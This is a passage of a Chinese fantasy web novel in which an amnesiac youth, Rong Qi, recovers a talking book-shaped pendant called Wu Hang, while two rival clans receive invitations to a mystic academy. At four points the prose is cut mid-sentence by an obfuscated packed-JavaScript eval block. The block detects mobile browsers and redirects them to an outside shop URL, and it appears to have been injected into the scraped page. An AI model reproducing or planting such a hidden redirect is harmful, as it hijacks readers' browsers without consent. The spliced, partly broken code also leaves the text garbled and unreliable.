;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195036|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一个白衣飘飘的女鬼,以至于将容栖摇摇欲坠的世界观按在地上摩擦。 不过也没好到那里去。 寂静的空气被打破,人影身边平白出现一个气泡框: “容栖,你应该把我带上的。” 模糊的人影像是笑了,“没得商量——,再说了,我都安排好了。” “老白这么多年锲而不舍地扒我底细,甚至想着把我拐回去给白老爷子掌眼。”他戏谑地说道,抬手将脖子上的吊坠摘下,轻巧地放在桌上,嘴上接着叭叭。 “虽然好玩,但跟他没完没了的斗智斗勇也挺累。我可是好不容易要跟好兄弟摊牌了呢!” “他要知道临到这时候还有人跟他抢活,准跟你急!” 容栖试图看清那吊坠的样子,奈何这不懂事的垃圾漫画不解风情,仍然只能看到黑漆漆一片里的一小团蓝光。 好在那气泡框又出现了。 “这和你带着我也不冲突,你一个人对上她太危险了。” “喂喂过分了啊!我可是守株待兔多时,哪有你说的那么脆皮,”容栖不服,“再说你去了也帮不上忙,怎么,关键时候我还能把你当暗器扔出去偷袭?” “……” 吊坠里的巫杭没再说话。 良久,黑暗里的容栖又开口了,声音很轻,不再插科打诨。 “这次就不带你了,等我回来,你记得再给我讲一遍你的来历。” ——也可以选择告诉我实话。 “如果你觉得这是为我好的话。” ——即使我并不希望。 “但是我迟早会踏进玄门的,避无可避。” “你拦不住我。” 说罢,容栖不等巫杭回答,扬手扔了什么东西在桌上,随后转身离去。 至此,便是漫画最后一章的全部内容。 屏幕前的容栖若有所思。 白日西斜,时间来到下午。想来也是,容栖从午饭后打车到寰北大道,之后又在这云中阁待了少说有两个小时了。 不过好在搞清楚了失忆前的容栖要他来这七号书屋的目的,看起来这一趟完全不像白洛担心的那样是羊入虎口。 他这一趟,八成就是特意来见那吊坠里的“鬼魂”的了。 就是不知道如今容栖这一整个失忆的状态会不会让‘鬼魂’小姐,呃,或者先生,骂他一句不自量力、自作自受? 毕竟结合上下文,他现在看起来就是一个大写的自作孽啊! “嗯这个,我记得洒家应该不是这么自负的人设才对?”容栖摸着下巴喃喃自语。 不过都已经有随身携带的‘吊坠姑娘’了,这世界多半是走的玄幻风。新世界新气象,那容栖小小的变个异好像也不是不可以?! 哎呀,不管是阴沟翻船还是早有谋算,去见一见神奇的‘吊坠姑娘’不就知道了! 说走就走,容栖收好纸条,拍拍屁股走人。 整个一楼大堂,容栖来时什么样,两个小时过去,半点没变。 甚至连躺椅上的茶楼老板也一样睡得死沉,仿佛吃了蒙汗药,雷打不动,属于小贼最爱的五星级boss。 容栖走近一看,好吧,好歹不打呼噜了。 5. 铜钱 时间不早,他正打算趁着白天进对面书屋一探究竟,眼角匆匆扫过老板熟睡的脸,转身的脚步一顿。 这人呼吸明明规律平缓,表情却不够自然,仔细看眼皮偶尔还会快速颤动。 容栖默默盯着柜台后的人看了几秒,抬手轻轻在其面前挥了挥。 好家伙,肩膀绷得这么僵硬,看起来装睡不是很熟练啊老兄! 容栖摇头,目光在柜台上扫视一圈。 “小子未经允许,叨扰多时,聊表歉意——”容栖扬起一抹调皮的笑容,一手扯过找到的小立牌。 “嘀~” 轻微的嘀声过后,是容栖掀起帘子走出茶楼的脚步声。 走出两步后,容栖听到后方传来清脆的播报声: “微信到账,0.01元——” 就当是你的起床铃声啦! 容栖是个有素质的人,从来不干把人叫起来重睡这种缺德事,不过嘛,装睡的不算! 虽然不知道茶楼老板为什么店门大开却对他这位活生生的上门客装睡,但容栖暂且没感觉到敌意,此时也没什么深究的心思。 左右这人也没跳起来阻拦他不是吗?说明最多也就是监视的程度,暂时打不起来。 怀着点小期待,他很快穿过不算宽敞的街道,来到七号书屋的门前。 虽然从漫画的最后一章来看,七号书屋的钥匙理应在容栖自己身上。但遗憾的是他从医院醒来时就两手空空,身边除了一个手机别无他物。 容栖凑近了看,发现大概是为了配合寰北大道整体的仿古设计,门口的锁也很简单,古铜色的锁头坠在门上。 这锁着实作用不大。 可惜在这光天化日、朗朗乾坤之下,不太好操作啊。 容栖不无遗憾地想着,手指晃了晃锁头,在门扉上装模作样地叩了叩。 锁头哒一声轻轻撞击木门,他却没听到手指叩门应有的声响。 容栖疑惑抬头,倏得瞪大双眼。 落下的手指本应被眼前这道看得见的门扉所阻隔,然而它却在容栖眼前魔幻地穿了过去,好像这扇门并不存在。 容栖试探地抽回手,再向前探去。 这次他看得很清楚,手指在碰到门扉的时候没感受到丝毫阻力,径直穿了过去,与其接触的部分泛起一阵细微的波纹,边缘隐隐有一丝蓝光。 容栖挑眉,看来这是之前的他留下的一道隐形门,在确保他能进去的同时,估计也能防着旁的无关人士擅自闯入。 于是他不再犹豫,跨步走进屋内。 不知道这种看起来就很玄幻的布置是怎么识别出他的,总不至于是指纹识别、瞳孔扫描啥的吧。 容栖对新世界的神奇十分好奇。 七号书屋虽然顶着个书屋的名字,但大概是空间有限,屋里的书架不算多,更别说还另外用几个博古架隔出一片看书的阅读区了。 容栖循着漫画里给出的大致路线,穿过书架和阅读区,不一会儿就看到了后方角落里的旧柜台。 这里门窗紧闭,屋外的日光透过窗框上的透明玻璃,又艰难地从堆得满当当的书架间钻出来,已然无力再照拂这一片小空间了。 但也仍然足够让容栖看清平整的桌面上空无一物了。 毫无那发光吊坠的影子。 容栖有点惊讶,但他很快反应过来。既然门口设了一道无形的门槛,没道理这里就不做一点保护措施了。 毕竟那吊坠显然对‘我’很重要。 想明白后,容栖开始寻找解法。 他先试探着对空气叫了几声,“巫杭?” 半晌不见回应,他又伸手在柜台上摸索一通,可惜还是毫无所获。 看来是隐蔽了巫杭的整个存在,摸不到、看不着、听不到。 唔,或许他现在的声音也传不进去也说不定? “嗯,这么看,就只有你了!” 容栖一脸‘真相只有一个’的表情,对着手里的手机说道。 从始至终都跟着他,能够识别他身份的东西,怎么看都只有这个藏着漫画的手机才对。 他把手机拎起来左看看,右看看,片刻后,果断拆下手机壳。 果不其然,手机壳后面藏着东西。 那东西看着像枚铜钱,又比普通的铜钱大一些,在手机壳后发出闪烁的蓝光。只是容栖的手机壳是黑色的,几不可见的微弱光芒难以察觉。 此时在这昏暗的室内总算是从夹缝中泄出些异常的信号来。 容栖拿起来仔细看,在幽幽的蓝光里看见铜钱上有四个大字——销声匿迹。翻过来看,背面赫然是他那折腾了两世的花哨图腾,看起来不伦不类的。 “得,敢情这玩意儿还真成我容栖行走江湖的标志了是吧?!” 忍不住吐槽一句,容栖又翻回去看那龙飞凤舞的‘销声匿迹’。 “不是,我记得我语文没这么差啊?!” 虽说这字面意思是这么个效果吧,但就是,显得怪没文化的! 容栖嫌弃地啧了声,把手里发光的铜钱放到柜台正中的位置。 他当然不知道放这里管不管用,但没关系,试试呗,也没个标示指引他‘先森,请放这里!’不是吗? 所幸容栖运气不错,铜钱上的光忽然快速闪动几下,紧接着忽而向外扩散,一圈蓝色的光呈环形扫向四周。 蓝光之下,柜台右边的吊坠和左边的另一枚铜钱显现出来。 容栖眼尖,在蓝光扫过的间隙瞄见铜钱上‘铜墙铁壁’四个字。 然而待他拿起来一看,好家伙,背面也是眼熟的‘销声匿迹’。 行吧,看来还是个双重法阵。 说到底,容栖这一趟就是来回收这位‘吊坠姑娘’的,他收好两枚铜钱,拎起吊坠晃了晃。 在漫画里一直没能看清的吊坠此时才露出庐山真面目,原来细长的绳子下是一本小小的书型挂坠,暗蓝色的封面,银色的书脊和缠绕的花纹连接着哗啦作响的锁链,甚至小小的书面上还扣了个精巧的锁扣。 不知是什么材质,整本书看起来竟泛着金属的光泽。 可惜里面的‘吊坠姑娘’还是没有动静。 容栖无法,只好先将吊坠顺手套到脑袋上,别说,这精致的小玩意儿颇合他眼缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195037|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一看见就挺喜欢。 完事以后容栖没在空荡荡的七号书屋多待,穿过水波一般的大门打道回府。 临走前他瞄了一眼,发现对面云中阁一片寂静,这次连装睡的东家都不见踪迹。 此地不宜久留啊,先走为上。 行至转角,容栖在拐弯之余眼角余光扫向斜后方的云中阁。 此时天还未黑,但茶楼大门紧闭,俨然一幅闭门谢客的态度。 但偏偏二楼正对他的那扇窗户开得敞亮,一高一矮两道人影立在窗边,半点不遮掩。 容栖心头一惊。 完蛋!好像翻车了! 敌人态度很嚣张!白洛救我! “小岚,我们要不要拦一下?” “不用,他应该也解决不了我们的问题。” 对话的两人正是云中阁二楼带给容栖惊吓的一高一矮二人。 云莫挠挠头,既然云岚说不用拦,那他自然也不反对,只是,“虽然他解决不了我们的问题,但说不定能帮我们找到能解决的人呢?” “毕竟两年来,他还是第一个闯过那个该死的‘闭门谢客’阵的,咱们去讨教一下闯阵方法也好呀!” 云莫越说越觉得这法子可行。 “早知道这小子能闯进去,方才我就不应该装睡,”说着他硬朗的脸上露出一抹羞愤,“更何况还没把人糊弄过去!我脸都要抽筋了,他还羞辱我,用一分钱!” 想也知道他现在在人家眼里肯定没个好印象了,不被当成居心不轨的怪蜀黍都不错了。 云岚闻言也是忍俊不禁,促狭道:“虽说是我让莫叔你按兵不动,不要打扰他的,但我也没想到,你会想出装睡这个法子。” 穿白衬衫的少年比云莫矮一大截,眉目温润,嗓音温柔,犹带几分稚气的脸上满是温和的笑意。 云莫是个耿直的性子,直言道:“按兵不动,不就是让我保持原状吗?我还以为你是让我接着睡呢?” 他尴尬地摸摸鼻子,小声道:“我这不是睡不着了嘛。” 云岚:…… “好吧,”云岚无奈,“是我不够了解莫叔。” 云莫:“咳、不说这个了,你真的不跟上去问问他?你的时间不多了,再找不到路葭易,情况会很危险。” 云岚仍是笑着,“不必了,莫叔。” “你也知道的,七号书屋只不过是一个幌子,路葭易从没在这里出现过。除了一个‘闭门谢客’,这里没有半点有关他的信息。” 云莫知道云岚说的对,五年前路葭易在宁川一举成名,之后却只留下了个七号书屋的门户就不知所踪。这几年虽然仍陆陆续续有人为寻他来到宁川,但没有一个人能从七号书屋这条线上联系到路葭易。 云家查了许久,知道并不是没有人找到他,但都是在其他地方,七号书屋之外。 但云家还是派了人守在这里。 云莫已经在这里守了两年多,他对此也很无奈。 他叹气,“可玄机宝镜不能不找,没有它护身,你和家主怎么办?” 下个月就是小岚的十六岁生日了,时间可不等人。 6. 请君帖 越想越着急,云莫一脸苦大仇深,“该死的路葭易到底跑到哪里去了?!盘这么大个书屋给一群高中生开着玩儿吗?!” “尤其是容栖这臭小子……” “莫叔,”云岚突然打断他,“你刚才说,七号书屋不是一直空着的?” “嗯?”云莫回神,奇怪道:“当然不是啊。” “哦你昨天才到宁川,还没来得及带你进去看一眼,”他接着说,“不过也没什么好看的,就一屋子的书而已。” “晚上的时候门口会亮灯起阵,但白天却是正常营业的。” 云莫一脸正经的给初来乍到的云岚介绍,“当然也会有闯阵的人趁白天阵法未启的时候进去碰运气,”他摇头,“但其实白天里面只有几个兼职的学生而已。” “久而久之,大家就都知道只有晚上才能闯‘闭门谢客’了。” 云岚看了一眼窗外,此时街道上早已不见容栖的身影。 云岚:“那刚才那个男生?” 云莫冲他一点头,“没错,他就是在七号书屋兼职的学生之一,最近一年好像是升了高三,很久没来过了。” 云岚:“高三?我记得高考刚结束不久吧?” 云莫:“是啊,他是宁川一中的学生,学校就在这附近,兼职的几个学生大多都是这学校的。” 云岚若有所思,又问道:“那莫叔你和他接触过吗?” 云莫:“他有到楼里喝过几次茶,感觉就是一个普通的学生。我还和他聊过几句,我记得他好像叫容栖?” 云岚:“你和他聊过?是他主动和你聊吗?” 云莫一愣,迟疑道:“硬要说的话,算是吧。当时他主动跑来问我,说我这云中阁名字好,装修也大气,怎么就想不开选了寰北这么个南北不着的破地方耽误生意。” 云岚:“……那莫叔你是怎么回复的?” 云莫龇牙一乐,“我没那么傻,当然不会说实话啦!” “我给他说,小屁孩懂个屁,管好你自己!” 云岚无言,只道:“……莫叔,我明天就回云中,你和我一起走吧,你也很久没回家了。” 话题转换得太快,云莫一时没反应过来,“哦、好……等会儿,我也走?那这里怎么办?不蹲路葭易啦?不找玄机宝镜了?” 云岚:“不必担心,我去和母亲说,重新派个人过来接替你。” 这份活实在不适合莫叔这种大大咧咧的性子。 “那敢情好,总之不能让路葭易跑了!” 云岚小声道:“恐怕到手的机会没抓住,人早就跑没影了。” 反正云岚对找到路葭易是已经不抱希望了,不过他本也不赞同母亲将玄机宝镜给他作护心镜的做法。 现下正是另寻他路的好时机。 “今早母亲通知我说,尚京那边送来一份请君帖。” 云莫不以为意,“哦?这是又出什么事了?玄鉴司竟然要请家主出山?” “不,不是给母亲的,”云岚白净的脸上露出浅笑“这是一封给云家小辈的请君帖。” “啊?”云莫怀疑道:“云中神算的名头再大,玄鉴司也不至于求到一群小崽子身上去吧?他们终于破产了?!” 云岚还是笑,心情很好的样子。 “这次可不是求我们办事,我想想,”少年声音清亮,“大概算是一张录取通知书?” “还是一张没有记名的录取通知书,”他抬眼,难得露出些少年人的锐气,“说起来,我还没有正经上过学呢。” “不如就把我的名字填上去吧~” 云莫总算是听明白了,大惊道:“小岚,你认真的?!你现在的身体状况可容不得你胡闹!” “而且,”他急切地补充,“云家天算向来是不落凡尘的,你要主动搅合到玄鉴司的一堆麻烦事里,家主也绝不会允许的!” 云岚像是看不到云莫的着急上火,理所当然道:“没错,所以我们要尽快动身,万一去迟了,说不定母亲会把请君帖一把火烧了!” 云莫看他固执的摸样,知道云岚去意已决,心焦上火又无可奈何。 夭寿啦!他们云家的小神仙要跑路啦! 云岚走出几步,见云莫还杵在原地,还是出言解释道:“莫叔,玄机宝镜只有一个,不能在吊住我性命的同时护住母亲,她不能总是燃魂叩天机的。” “治标不治本,终究不是长久之计。” “更何况现在玄机宝镜还未寻回,”少年的眼镜澄澈,神情坚定,直直地看着云莫。 “莫叔,你信我。” “我会在玄鉴司找到可以替换玄机宝镜的办法!” 云莫勉强被他说服,不情不愿地挪动脚步。 “少主有令,云莫不敢不从。” 于是云岚又笑起来。 晚上八点,白家老宅里灯火通明。 “我说爷爷,你火急火燎地叫我回来到底是有什么事?”白洛靠在沙发上,一把甩开手里的游戏手柄。 “饭也吃了,游戏也打了,你再不说我走了啊!” 半天过去,也不知道容栖那边进展怎么样了,白洛想着,等会儿得找个机会给老容打个电话问问情况。 白洛对面的白奎放下手柄,一脸意犹未尽,数落自家性子急躁的孙子。 “年轻人就是沉不住气,我叫你回来,自然是有大事。” 精神矍铄的白老爷子摸着自己胡子摇头,“小白洛啊,你跟我来。” 白洛看着自顾自往书房走的爷爷,吐槽一句老头子戏真多,不知道葫芦里卖的什么药。 回身给了探头探脑的白乐宁一个爆栗,白洛没好气道:“去睡你的觉,明天要是被我发现你赖床不练功,小子你就完了!” 说罢白洛转身跟上先走一步的爷爷。 白乐宁:“嘁,小气~” 爷孙俩很快来到书房,白洛顺手掩上门。 “现在能说了?神神秘秘的,老头你什么时候也喜欢来这套了?” 白奎没理会他的贫嘴,斟酌着开口:“我先问一句,高考也已经结束有一周了,小洛你觉得考得怎么样?” 白洛嘴角一抽,没想到老爷子一上来就问这种老生常谈的问题。他十分不理解,“爷爷你第一天认识我啊?你孙子成绩一向不怎么样,你不是很早以前就不关心我的分数了吗?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195038|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白洛自觉不是读书的料,比起安安静静的坐在桌前做题,他更乐意去演武场打两套拳。 “呃、这个嘛,”白奎大概也觉得自个儿话题切入的实在尴尬,解释道:“我只是想问,你觉得你那分数够不够上大学?你自己想不想上大学?” “你问我,我也不知道啊?”白洛一头雾水,“再说了,这大学是我想不想上的问题吗?” 你对你孙子的实力一无所知! “好吧,”白奎颇为沧桑地叹了口气,“小子你过来。” 白洛不明所以,走上前一看。 只见他爷爷从抽屉里抽出一个红色的方形物件,白洛定睛一看,好家伙! “爷爷!”他一声大喝,“没必要吧!这大学实在上不了就算了,咱也不能使这下作手段啊?!” 白奎被他这一声惊得手一抖,反应过来后立马吹胡子瞪眼,抬手就是一巴掌结结实实的扇到白洛身上。 “胡说八道!我哪有那闲工夫管你上不上大学,净瞎想!” 白洛哎呦两声,伸手指着桌上火红的纸质封皮,“那这是什么?这么几个大字在上边写着呢!” 明明白白再清楚不过的‘录取通知书’几个字,可高考才过去一周,他连自己背水一战究竟考了多少分都还不知道! “你自己看吧,”白奎懒得解释,把那‘录取通知书’推到白洛面前,“叫你回来就是因为这个。” “为了这个?”白洛一脸狐疑,一手抓起就往下一倒。 最初的封皮已经被他爷爷拆开了,这一倒,里面的东西就直直地掉出来。 首先是一个带红印的黑色信封,红印上笔力遒劲的“请君帖”三字霸气凛然。白洛利落拆开,里边坚硬的卡片触手温润,黑色的底,鎏金的字,寥寥几行,赫然是一封邀请函: 九月十二日,尚京卧云山。 兹迎天下英才,齐聚山前。 地渊灾变,玄门共劫。 修神炼心,渡己达人。 山门既开,邀修者同。 百家共济,神念互通! 除此以外,封皮内还有一枚黑金色的圆形徽章,刀剑相交,其下一个古体的‘玄’字。 背面是玄鉴司的三行宣誓词。 白洛一字一句读完请君帖,倒吸一口凉气,“玄鉴司这是要搞一场大的呀?!地渊的情况已经严重到这种地步了吗?!” 白奎拿起那枚黑金纹章,手指拂过暗金色的刀剑轮廓。 “玄鉴司难得发一次请君贴,却只是招你们这些小家伙而不是找我们这些老不死的,地渊的情况肯定没那么糟糕。”白奎道,“若只是如此,邀请年轻一辈到卧云山交流学习的话,估计也就是为未来可能的陷落做准备。” 听爷爷这么说,白洛顿时把心放回肚子里。转而兴奋起来,“那很好啊,华夏要是陷落的话谁也逃不了!” “而且爷爷你不是常说,咱们白家习的是杀人技,学是要学,但决不能轻易用吗?你说让以后的白家人长大后都转投他人门下,但不可传于后人,这不正好是个机会!” 白洛在一旁鸡血上头,白奎冷不丁问:“那你不上大学了?” 7. 巫杭 却见他那傻乐的孙子洒脱一扬手,神采飞扬:“不上了!上大学哪有打地渊有意思?!” 话毕,白洛又有点迟疑,“就一场交流会,我完事儿了回来就是,怎么还耽误我上大学了呢?” 先不说考不考得上,万一考上了,他要不去的话都感觉对不起自个儿。 白奎看他一脸纠结的摸样,好笑道:“哪有那么简单。论对付地渊的法子,数玄鉴司最齐全。但要想把你们这些小年轻教出来,少说也要一年。” 这还是以他孙子的天赋为标准。 看来只能舍弃上大学了,白洛苦着脸想。 “不过,”白奎话锋一转,“小子你可想好了,这一去,你的天赋神念必然是藏不住的。” “木秀于林,风必摧之。” 白洛觉得老爷子在杞人忧天,“安心啦老头~你看人家上面都写了,‘神念互通’,这说明什么?同去的肯定有不少神念者吧!” “就算觉醒神念的玄术师很少,但也不是没有。你看那云家的小天算不就是一个?人不也活得好好的!” “哼,”白奎也不再多言,“你既然决定了,到时候自己小心就是。” 他把黑金纹章递给白洛,“请君帖和纹章你自己收好,别到时候被拦在山门外丢人现眼。” 白洛点头,又有点疑惑地指了指桌上的红色封皮。 “话说,这个唬人的壳子是起个什么作用?” 大红的录取通知书封皮和低调奢华的请君帖实在是画风不搭。 “不知道!”白奎不耐烦地挥手,像驱赶苍蝇一样赶着白洛离开。 “滚滚滚,我要睡觉了,懂不懂尊老爱幼啊臭小子!” 撇撇嘴,白洛转身就走。 “等等!” 白洛大声嚷嚷:“干嘛?!有事一次性说完不行吗?年轻人也是要睡美容觉的!” 回头却见白奎端坐在桌后,神情寥落,方才还跟白洛互怼得有来有往的精气神一下子消失得无影无踪。 白洛安静下来,良久才听到老爷子晦涩的声音传来。 “你去玄鉴司……找找阵龙图。” 白洛:“阵龙图?那是什么?” “……算了,你走吧。” 白洛立在书房门口没动,许久,见老爷子当真不再说话才抬脚离开。 晚上九点,白洛确定请君帖和徽章一个不落收拾的妥帖,遂兴致勃勃地打开手机。 “嘟——嘟——嘟——” “对不起,您拨打的电话已关机——” “我靠!容、栖!!!” …… 手机关机的容栖此时在干嘛呢? ——他在摸黑刨花盆。 容栖今天的运气大概都用在抛铜钱那儿了,拿着吊坠匆匆循着地址找到他在宁川一中旁的小公寓,手机关机的时候他刚下车,好悬没让他拿着黑屏的手机和司机师傅大眼瞪小眼。 容栖的小公寓在十二楼,然而正巧电梯故障在维修。 于是容栖只好老老实实地靠双腿爬上十二楼。 终于,他度过重重难关,来到了一片漆黑的十二楼。 不知道是不是这见鬼的电梯故障扯到了哪根电路,反正十二楼楼道里的灯是一个没亮。 容栖蹲在门口显得很多余的花盆旁边,一边摸一遍骂。 “钥匙扔花盆是什么不讲究的玩法?每次开门先抓一捧土?!” 事实证明,人在心情不好的时候,攻击对象是敌我不分的。 “嗯?这好像是棵发财树?不过什么树也不能摆在门口吧?你当楼道是你家啊?!” 半天没摸到钥匙,容栖只觉得失忆前的自己是个大傻叉! 你个脑残玩意儿是把钥匙埋土里了吗? “再找不到我……” “……钥匙不在下面,你往树干上模。” 容栖骂骂咧咧的声音戛然而止。 他手上的动作一顿,而后很快反应过来,用干净的左手挑出脖子上的吊坠。 吊住适时地亮起蓝光,照亮了面前的一小片区域。 “还有,这发财树是你要搬进客厅的,刚腾出位置,还没来得及搬。” “不是故意占用公共空间。” 方才说话的声音再度响起,语调平缓,低沉悦耳。 但显然,是个男人的声线。 不过还怪好听的,容栖忍住想揉耳朵的冲动,心道。 “咳、那个,巫杭?” 容栖一边顺着巫杭的指引往树干上摸,一边把发着蓝光的吊坠往前提,将微弱的蓝光当做手电筒来用。 “嗯,”吊坠里那位应了一声,接着道,“手往右边点。” “哦”容栖往右边一扫,果然碰到一小块冰冰凉凉的铁片。 “呼~总算是找到了!”容栖站起来跺跺脚,插钥匙开门一气呵成。 “谢了老哥!” 好消息是屋里的光照一切正常,容栖一巴掌就按亮了客厅的顶灯。 他换完鞋,随手把手机一扔,这才懒洋洋地把自己扔进沙发。 “容栖” “嗯?”容栖拖长了声音应道,他注意到这次吊坠没有再发光。 “你回神,”巫杭的声音听起来有点无奈,“茶几上有东西,有人进来过。” “啊?”容栖腾一下坐起来,“啊?!” 他扭头看去,除了饮料水果外,茶几上还摆着一份大红封皮的‘录取通知书’。 “不必惊慌,应该是你师父送来的,他不会害你。” 也是,听白洛说他一周前才从考场上下来,连自己考多少分都还不清楚,哪来的录取通知书。 再说谁家录取通知书是直接送进屋的,这快递员得多刑啊?! “那就先不管了。”东西就在这里,也不会长腿跑了,他现在更关心另一件事。 “巫杭,你要不先来个自我介绍?” “虽然把你从七号书屋带出来了,但我对你可是一点不了解。” 容栖把脖子上的吊坠取下来,放到沙发另一头,自己盘腿端坐着,一幅促膝长谈的场面。 “你应该也猜到了,我可是一键恢复出厂设置了!” 不然也不会沦落到差点连自家家门都进不来。 “嗯,我看到了。” 容栖:“……看到?” “难道说,”他联想到自己手机上那本不知从何而来的漫画,“那本漫画,不会和你有关吧?!” 就像漫画的最后一章记录了“容栖”在七号书屋的举动,难道巫杭还有法子看到他一路找过来的过程? “嗯,具体的我接下来都会一一和你讲。” 吊坠里传出的声音稍作停顿,接着道:“……至于我的来历,既然你想知道,我就再说一次。” 容栖点头,“好!” 巫杭:“……我想先问一下,你是忘了多少?我虽然知道你失忆,但对你失忆的程度并不清楚。” 没等容栖想好是否要坦白一下自己穿越大法师的身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195039|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,巫杭又改口道:“算了,我还是从头说吧。” 容栖有点摸不着头脑,虽然只听见声音,但他总觉得巫杭好像一直犹犹豫豫,怪让人着急的。 他思索了一下,突然问道:“你要是不知道从何说起的话,不如我来问吧?” 巫杭:“……也好。” 容栖:“你知道穿越吗?” 巫杭道:“我知道,你本不是这个世界的人。来到这个世界已有十七年,只是我对你的前世也知道的不算多。” 容栖挑眉,笑道:“看来我们的关系比我想的还要亲近,这就好办了。” 毕竟连穿越的事都能告诉他,想必是值得信任的。 巫杭:“……接着问吧。” 容栖于是又问道:“那好,你之前说‘看到’,所以知道我失忆,是你的能力?具体是什么?” 巫杭:“没错,如你所见,这个吊坠上的书算是我的本体。只要知道一定的前置信息,我就能用它观测到存在于此世的对应内容,并将其呈现在书页上。” “你手机上的‘漫画’也是这样来的,只不过超出限定距离之后我就不能再把画面映射到‘漫画’上,所以我们分开之后漫画就没再更新了。” 容栖呼吸一滞,忍不住咂舌。 “这么一来,你这不是纯纯的百度百科啦?!太逆天了吧?!” 亏他之前还误以为巫杭只是寄宿在这吊坠里的无名鬼魂,或者那种曾经很厉害的大佬,经历一堆破事之后不得不被迫客串一把随身老爷爷的角色。 如今看来,人家虽然不是人,但确实是真大佬啊! 巫杭道:“没有你想得那么简单,使用起来限制很多。” 而且堂堂观世录只用作百科全书,未免太过大材小用了。 容栖笑道:“哪也很厉害了!” 容栖不知道所谓神器的威能,但他若是知晓这小巧精致的吊坠名叫观世录,说不定就对其猜测一二了。 只是他不知道,巫杭也不打算告诉他,现在的观世录可不是什么珍贵的神器,而是一个贪吃且只进不出的巨大无底洞,对谁来说都是拖累罢了。 “那我现在只有最后一个问题了,你说现在的信息够不够你用来查一下,”容栖伸手指了指自己的脑袋,“我要怎么才能恢复记忆?” 巫杭:“当然能查。” “不过除此以外,那就没有其他想问我的了吗?” 容栖闻言眉心微微一动,一手撑着脸,歪头望天,非常无奈。 “老实说,我对你可好奇了!” “你知道的吧?漫画上最后记录的,我要你和我再见的时候亲口对我再说一遍你的来历,从那时候起我就很好奇了。” “像‘海螺姑娘’一样住在吊坠里的‘吊坠先生’,多神奇啊!在我原来的世界里,这简直就是魔法好吗?!” “但没办法,”他煞有介事地叹气,“虽然看不见表情,但光听声音我也能感觉出来,你啊,大概有什么不想说出口的话?” “你那种犹犹豫豫的纠结感简直一览无余!” 容栖冲着吊坠挤挤眼睛,嘴角挑起一抹促狭的笑意。 “我这么善解人意,从来不强人所难的好吧!” 毫不脸红地自夸一波之后,容栖又状似不经意地补充道:“就像漫画那时候一样啊,选择权始终在你手上。” 容栖指的是他把巫杭留在七号书屋时说的那几句话。 他故作轻松的话语落下,房间里顿时陷入了长久的沉默。 8. 故乡 巫杭心道,该来的果然躲不掉。 说什么选择权在他手上,但其实只是给他一次坦白的机会罢了,或许是最后一次? 只看他对记忆清空的容栖会给出什么样的说辞,还会不会跟上次一样,一骗就是十七年。 他若全盘托出,前面的十七年就都不作数,一切都可重新开始; 他若执意隐瞒,以巫杭对容栖的了解,他恐怕就再也无法取得容栖的信任了。 到时候被冷漠丢弃在垃圾场也说不定! 看似始终留有余地,其实步步紧逼。 良久,巫杭终于打破了寂静的空气:“善解人意?我倒只觉得你狡猾!” 容栖眨眨眼,粲然一笑,露出整齐的牙齿:“哪有?!前世人们都叫我清澈愚蠢的大学生来着!” 巫杭:“……” 他有时候真的很想念自己的人形,不为别的,只是语言的杀伤力太过单薄了。 “行了,我从头跟你讲起吧。”不爱说脏话的巫杭决定直接切入主题,“你应该忘记了,其实你来到这个世界,严格来说不算是穿越。” “事实上,就在你成为所谓清澈愚蠢的大学生的那一年——”他把当年那场两个世界的浩劫娓娓道来。 就在容栖开开心心晋级大学生的那一年,他的世界像烟花一样砰地炸开了! 两个世界相撞,容栖的世界以惊人的速度破碎。生命的消逝就在眨眼之间。 “而另一个世界,就是现在你所在的这里了。” 按理来说不同世界间向来泾渭分明,无故相撞实在很奇怪。 巫杭因为自身能力特殊,曾经游荡在很多不同世界做观测记录之事,彼时正从上一个世界离开,便决定前往记录这一异象。 “按此方世界的时间来算,那大约是三十年前。” 三十年?容栖挑眉,注意到这个异常的时间节点,但没打断巫杭,静静等他说下去。 